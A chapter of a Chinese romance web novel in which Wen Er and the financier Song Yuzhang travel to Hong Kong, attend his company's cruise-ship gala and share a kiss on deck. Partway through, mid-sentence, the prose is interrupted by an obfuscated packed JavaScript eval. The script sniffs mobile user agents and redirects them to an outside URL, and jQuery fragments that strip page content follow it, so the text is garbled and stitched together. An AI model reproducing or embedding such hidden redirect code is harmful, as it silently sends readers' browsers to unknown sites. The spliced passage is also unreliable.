75. 75

作品:《明月雾里

    华颂年会和历年一样是在公司总部港城举办。


    李昱早早地申请好了航线,其他事宜也都安排统筹好。


    年会前两天,宋豫璋和温尔一起搭乘飞往港城的私人飞机。


    不同于朔城的冬雪严寒,港城临海常年温暖。


    风光迥异,景色不同。


    从机场出来便有人在外等候,穿着整齐的黑色西装的安保人员自动走上前来,将宋豫璋和温尔围护在中心,朝外走去。


    路边停靠了一排黑色的迈巴赫,中间是一辆大劳。


    温尔抬眸不动神色地环顾四周。


    还真让她看见了被挡在远处的记者,朝着她与宋豫璋方向咔咔拍照。


    华颂早年被宋豫璋接手重组,盘活之后飞速发展,跨国并购,在欧洲扩张商业版图,已然成为全球最有价值的金融公司。


    最近华颂爆出幕后掌舵人一事,引发了界内轩然大波,随之而来的年会自然被各路媒体高度注意。


    还有疯狂的狗仔躲在暗处,蓄势待发。


    宋豫璋牵起她的手。


    车门打开,温尔看见后座放着一大捧粉色玫瑰。


    卡片上面写着:


    送给珍珍的玫瑰。


    来到陌生的城市,紧张的氛围,温尔原本有些不适,但在收到花的时候,情绪被巧妙地化解了。


    她喜欢花。


    车厢里很安静。


    温尔将花抱在怀里,低头轻嗅,人靠在真皮座椅里,转头看向宋豫璋。


    “你似乎一直在送我礼物。”


    宋豫璋身上有一种云淡风轻的从容,淡淡说道:“不算礼物,你喜欢就好。”


    温尔问:“我呢,要送你什么?”


    宋豫璋低头似在思考,深邃的眉眼却不自觉地流露出温柔与缱绻。


    他沉思了一会,认真看向温尔,“我想收到戒指。”


    温尔愣住。


    不确定地望着他,等对方的反应。


    宋豫璋见她惊愕的模样,忍不住轻笑,又说了一遍,“戒指,我想收到戒指。”


    温尔反应过来他不是在和自己开玩笑。


    她窘迫地干笑了两声,匆匆移开视线,望向车窗外一闪而逝的摩天大楼。


    宋豫璋静静地凝望着她的背影。


    她总会习惯的。


    习惯之后。


    会礼貌地回礼吧。


    车厢内再次陷入沉默。


    温尔因为宋豫璋的回答有些烦躁。


    她抬手摸了摸藏在毛衣下的项链,隔着毛衣,手指抚摸着吊坠。


    戒指贴在肌肤上,被她的体温温热了几分。


    那是枚绿宝石戒指。


    手机铃声打破了沉默,也打乱了温尔关于未来的想法。


    宋豫璋接了电话。


    和人讲着流利的英语,温尔听明白了几句,关于一些专业术语她不太懂。


    整体就是,合同准备好,宋豫璋承诺等会会回公司一趟。


    司机轻车熟路地将车开去了深水湾的别墅。


    宋豫璋陪着温尔走进去,小橙拎着行李跟在后面,别墅里的管家和佣人已经等候多时。


    管家带人和宋豫璋、温尔礼貌地问好,微笑着接过小橙手中的行李。


    宋豫璋拍了拍温尔的手背,看向为首的管家时,冷声开口,“许伯,吴妈,今天起这里的主人就是温尔了。”


    “温小姐,欢迎回家。”许伯点头问好,他普通话说得还可以,人很是聪明。先是看见宋豫璋牵着温尔的手,再来想起半个月前李昱先生传回来的文件,结合宋先生这一句开场白便明白了。


    宋先生将这座价值不可估量的别墅赠送给了温小姐。


    与温尔尽责地交代了别墅里面的用人和对应的工作,担心打扰主人休息,许伯简而言之,“温小姐,您有任何需要可以直接跟我和吴妈说。”


    宋豫璋有事在身,送温尔回楼上后便先离开了。


    与临雾、朔城的别墅风格不同。这里依山傍海,俯瞰群山,又与蔚蓝的海岸对峙,海天一色。


    身临其境,说不出的心旷神怡,气势宏大。


    小橙站在超大广角的落地窗前,面朝大海,忍不住心中的咆哮——


    “上天啊,让我也当个有钱人吧啊啊啊!”


    吼完之后,小橙回头朝温尔哈哈笑:“姐,你命真的好!”


    温尔闻言,错开视线,认真地看向小橙背后的美丽风景,遥望许久。


    她唇瓣微动,似想说什么。


    命好?


    最后,温尔也只是朝小橙歪歪脑袋,笑了下,“是吗?”


    遇上宋豫璋固然不错。


    但,人要是能对自己的命运做出选择。


    她更想上大学,当医生,存钱买房,带着家人旅游,会养一只猫,在阳台种花,和妈妈没有隔阂地说着话,看着妹妹快乐地长大。


    这才是,她想做,且喜欢的人生。


    她没什么物欲。


    赚多赚少全凭能力。


    钱对于她而言,更像是一种压迫,迫使她面对褴褛的人生,嘲笑她再努力也比不上权贵指缝里漏出的一缕。


    就算再多的,数不清的数字出现在她的账户……


    她也是茫然。


    不知道怎么花。


    “姐,我们去楼上看看吧?”小橙性格活泼,对什么都充满好。


    温尔看着她总会想到书音,自然没有拒绝的道理。


    顶楼是一座花房。


    像一座森林仙境,里面种了上百个品种的玫瑰,平日里有人悉心照料,每一株花朵都开得极佳。


    香气自然清新。


    中间还搭了一个古朴的秋千,小叶紫檀木牌上刻着一行字:珍珍的宝座。


    小橙看得目瞪口呆!


    “我的老天,姐夫还给你准备了宝座!”


    温尔发现了一个细节,宋豫璋应该也是喜欢种花的。


    他好几处住所,都有花园。


    吴妈适时地领着佣人将茶点送上来,佣人下去,她在一旁同温尔介绍这些港式点心。


    吴妈家里五个儿子,她是女儿控,只可惜命中无女。今天看见温小姐第一眼,便觉得这个女生生得好靓啊,样貌实在是太合眼缘啦,喜欢的不得了。


    就是,温小姐话太少了。


    *


    备受瞩目的年会是在邮轮上举行的。


    五天四夜。


    从维港出发,到三亚然后返回维港。游轮有十五层,里面房间上千,可住四千多人。除了华颂的在职员工,也邀请了一些国内外的金融大鳄。


    港岛内知名的八家报社通过提前申请的方式拿到了华颂年会的登船许可,允许五天跟船记录,而想浑水摸鱼的狗仔被安保人员严厉地阻拦在外。


    夕阳拖着长长的尾巴浮在蔚蓝的海面上,清风吹动它金红色尾巴,粼粼波光,像一条优雅的美人鱼在海面跳跃。


    岸边林立的高楼,高低起伏,与远处山峦形成一片绝佳美景。


    道路两边有安保人员维持秩序,路旁挤满了记者。


    温尔挽着宋豫璋的胳膊,随他一同登船。


    甲板上的人朝他们举杯、鼓掌,摄影师咔咔拍照,媒体新闻工作者也熟稔地打开了直播。


    权贵名流们聚在一起,简单地寒暄后,众人都到位于八层的宴会厅。


    作为华颂的老板,宋豫璋必然是要上台致辞。


    温尔坐在前排的位置。


    左边是一个中年金发男人,之前在苏黎世见过的,是一家规模很大的银行的所有者。


    金发男人朝温尔友好地笑了,打招呼。


    因为宋豫璋经常去瑞士,所以温尔恶补过德语,两人私下相处也会用简单的德语对话。


    她愿意去学习,宋豫璋也愿意陪她进步。


    时间短,她学的不多。


    简单地问候,还是说得出口的。


    宋豫璋回到了台下,自然而然地坐在了温尔身边。


    梳着大背头的李昱戴着一副银边镜框,步伐沉稳地上台,开始简短粗暴地宣讲。


    巨大的屏幕上,密密麻麻的数据,关键文字部分会有中英德三语标注。


    时不时地,台下掌声雷动。


    温尔不懂金融,最直白的观感就是,华颂集团的分公司和办事处遍布欧洲,在欧洲经营业务范围广泛,包括不限于投资银行、证券交易、资产管理等。


    全年营收798.9亿美元,投资银行业务营收为390亿美元,投资管理业务营收为198.4亿美元,证券业务营收为142.3亿美元,消费者和商业银行业务营收为68.2亿美元。


    突然,温尔感觉肩膀一沉。


    她转头看向宋豫璋,宋豫璋双手自然放着。


    温尔侧头垂眼,看见自己肩上搭着一只小手,精致的美甲。


    明显是一只女人的手。


    她好奇地转过头去。


    坐在后排的夏篌朝她粲然一笑,收回手跟她小声打招呼。


    温尔见到了熟人,心中欣喜。


    而坐在夏篌旁边的,竟是商裕。


    温尔朝他点头致意,内心却很微妙,上回宋豫璋书房喊姐姐的事还历历在目,转头就邀请了商裕?


    觉察到温尔回头。


    宋豫璋也朝后看了一眼。


    商裕脸上笑容还没来得及收一收,就阳光灿烂地对上了宋豫璋清冷的眼神。


    商裕:**,亏了一个笑容啊!


    夏篌笑容收了,礼貌地朝他轻声问好。


    受邀的艺人很少,大多是以女伴的身份出席的。又或者家族关系而获得参与的资格,比如夏篌,但也不多。


    宣讲结束后是酒会,公司员工在楼下几层狂欢。


    权贵豪商们自然在更上一层。


    乐团在现场演奏音乐,华灯璀璨,觥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880077|163391||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    筹交错。


    宋豫璋牵着温尔的手跳了开场舞。


    面对人群中好奇打量的目光,温尔回以浅浅地微笑。


    她肤色白皙,宛若凝脂,穿着绿色的鱼尾裙,裙摆缀以精致的亮片,背后是绸缎扎的蝴蝶结。


    整个人贵气性感,又有几分清纯少女的味道。


    作为东道主,不断有人过来找宋豫璋攀谈几句,刷个脸熟。


    宋豫璋虽是性情淡漠,但为人处世也是有风度的。


    宴会上,他喝了不少酒,还提温尔挡掉了大部分。


    温尔在旁担忧地皱眉,其实不用他帮忙的。


    早年经历所致,她其实,很能喝。


    后来夜深,李昱带着小橙过来替宋豫璋。


    宋豫璋跟他交代了几句,牵着温尔暂时退场,去了上面一层休息。


    没有楼下几层的欢愉喧闹。


    这一层人也少了很多,更多是坐在一起聊天品酒看月色。


    寻了一处安静的地方。


    “你胃受得了吗?”温尔有些担心,她很少见宋豫璋喝这么多酒。


    “还好。”宋豫璋点了下头,几缕头发垂在额前,他拨了拨。


    温尔小手摸了摸他的胃,“你不用帮我挡的,我应该比较能喝。”


    宋豫璋看了她一眼,眉眼含笑,“心疼了?”


    心不心疼温尔不知道,但小手是立马缩了回来,后退两步。


    她的耳根有一阵热意袭来,眨了眨眼,眸光随之跳跃。


    宋豫璋眼眸凝笑,看着她。


    温尔抿唇偏过头去,视线落在夜色下无边无际的大海上。


    波浪起伏,星光摇曳。


    宋豫璋朝她走了两步,转身背靠白色栏杆,不似平日里严谨骄矜,此时倒有几分随意的慵懒。


    他眉骨深邃,一双长眸比星子还要明亮,侧头望向她。


    他不说话。


    温尔却觉得,他的眼睛是如此的烂漫会说话。


    厚重的风声从远处云层传来。


    一架涂着丛林迷彩的直升机拨开夜色,在顶层的停机坪上降落。


    螺旋桨哗哗作响,掀起了巨大的风。


    海风撩起她的丝发,落在他的肩上。


    她忙着将头发捋回去,伸出的手却被宋豫璋自然而然地握住。


    四目相对,诉说着静谧情谊。


    温尔唇角弯起,望向了无声却汹涌的海面。


    他安静的看着她。


    心想。


    今天天气真好。


    傍晚的夕阳。


    夜里的月亮。


    还有,在我身边的你。


    “他们说很配。”宋豫璋突然开口,清冷的嗓音充满磁性,柔情笑意。


    “什么?”温尔侧头望去,与他视线相接。


    大概是因为喝了酒的缘故,宋豫璋浓黑的眼睛好似一把碎星星,看向温尔时满是宠溺,笑了两声他才舍得开口。


    “都说,我们很相配。”


    温尔一愣,反应过来又羞又好笑,紧接着便要甩开他的手,却被他握的更紧了。


    “要笑就笑吧,”宋豫璋慢声,眼神一错不错地盯着她,“你也是这么想的,没错吧?”


    温尔被男人长眸盯得心跳加速,又抿了抿甜蜜的唇角,不肯被他发现一丝半点的笑意。


    宋豫璋视线移到她微抿的唇上,喉结滚动。她抿唇时眨眼的行为,落在他眼里更像是一种going。


    晚风不够凉爽,偏有几分动情的燥热。


    男人抬手,指腹从她唇上抚过,揉着。


    他不紧不慢地点了点柔软的粉唇,看她的眼神犹如无边汪洋囚着一轮月亮,温柔却极具侵略感。


    “怎么不说话。”他问。


    温尔脸颊浮着红晕,羞得拍开他的手指,唇瓣轻启,是笑意的打趣。


    “宋豫璋,你肯定是醉了?”


    俊美的面容依旧显眼出众,但他身上却没了平日里漠然的冷意,整个人从容又闲适,气质矜贵,说不出的迷人。


    宋豫璋唇角掀起一丝笑意,“想知道?”


    温尔笑他这少见的一幕。


    宋豫璋抓着她的手腕一用力,温尔转了个圈便被带进了怀里。


    绿色的裙摆在甲板上轻旋,似一把打开的华丽扇面,亮片闪闪发光。


    细高跟在甲板的地毯上旋转,温尔脚步仓皇,靠在宋豫璋怀里,慌张地抬眸望他,“你——”


    “你自己找答案吧。”宋豫璋眼眸垂下,低头在她耳边轻语。


    温尔耳尖被温热的唇触碰,一阵酥麻。他气息拂过她敏感脖颈,掠起无边热意。


    不待温尔推着他胸膛离开站稳,宋豫璋便掐着她纤细的腰肢,将她提起来,强势地吻上了她的唇。


    他也不是只会克己复礼。


    也知为爱痴狂。


    远处,不约而同地响起闪光灯咔嚓咔嚓的声音。